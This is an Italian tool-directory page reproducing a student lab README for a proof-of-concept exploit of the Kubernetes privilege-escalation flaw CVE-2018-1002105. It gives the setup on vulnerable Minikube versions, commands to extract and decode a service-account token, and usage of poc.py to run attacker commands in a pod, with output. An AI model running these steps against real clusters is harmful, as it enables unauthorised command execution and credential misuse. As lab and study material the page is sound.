Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-1002105 — Proof-of-concept exploit per CVE-2018-1002105, una vulnerabilità di escalation dei privilegi in Kubernetes che consente l'esecuzione non autorizzata di comandi nei pod tramite kube-apiserver. | Kitploit
Strumenti/GitHubGitHub/sh-ubh/cve-2018-1002105
Escalation di PrivilegiSicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza Cloud
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

Proof-of-concept exploit per CVE-2018-1002105, una vulnerabilità di escalation dei privilegi in Kubernetes che consente l'esecuzione non autorizzata di comandi nei pod tramite kube-apiserver.

Vedi Repository
124 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CMPT733-Group11(0x90)

CVE-2018-1002105

Membri: Abhishek Rungta, Shubham Saini, Siddhant Sood

Configurazione dell'ambiente

  • Una VM Linux (ad esempio Ubuntu 20.04)
  • Minikube per il deployment locale di Kubernetes
  • Una qualsiasi di queste versioni precedenti (1.0.x— 1.9.x, 1.10.0—1.10.10, 1.11.0—1.11.4, 1.12.0—1.12.2)

Esecuzione dell'exploit

Abbiamo fornito un'immagine VirtualBox (file .ova). Scaricala e crea una VM da essa. L'OVA fornita è preconfigurata con Docker v18.09 e Minikube v1.9.0.

OVA link

Costruisci il cluster Kubernetes

Poiché la nostra immagine virtuale ha già Minikube e le versioni Kubernetes richieste, esegui semplicemente il seguente comando per avviare Minikube

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

Crea un nuovo utente, namespace e assegna un ruolo

Crea un nuovo utente e un namespace e assegna il ruolo RBAC all'utente creato utilizzando il seguente comando.

root@kitploit:~
kubectl apply -f fixing_policy.yml

Rimuovi l'accesso a conntract

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

Cambia il valore di maxPerCore a 0

Ottieni il token JWT

Per prima cosa esegui il seguente comando per ottenere tutti i token JWT memorizzati nel sistema

root@kitploit:~
kubectl get secrets -A

Per ottenere il segreto dell'utente specifico creato, esegui il seguente comando:

root@kitploit:~
kubectl -n [namespace] get secrets [user-token] -o json

Quindi decodificalo in base64.

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

Ottieni l'indirizzo IP e il numero di porta

root@kitploit:~
kubectl cluster-info

Per distribuire il pod

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

Esegui il POC

Specifica tutti gli argomenti richiesti:
-t per il target> ip:porta (obbligatorio)
-j per il token JWT dell'utente (obbligatorio)
-p per il pod (obbligatorio)
-n per il namespace
-m per il metodo (obbligatorio)
-c per il contenitore
-x per il comando dell'attaccante

Caso di test

Input

root@kitploit:~
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

Output

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

Video della demo

Video della demo link

Scarica lo strumento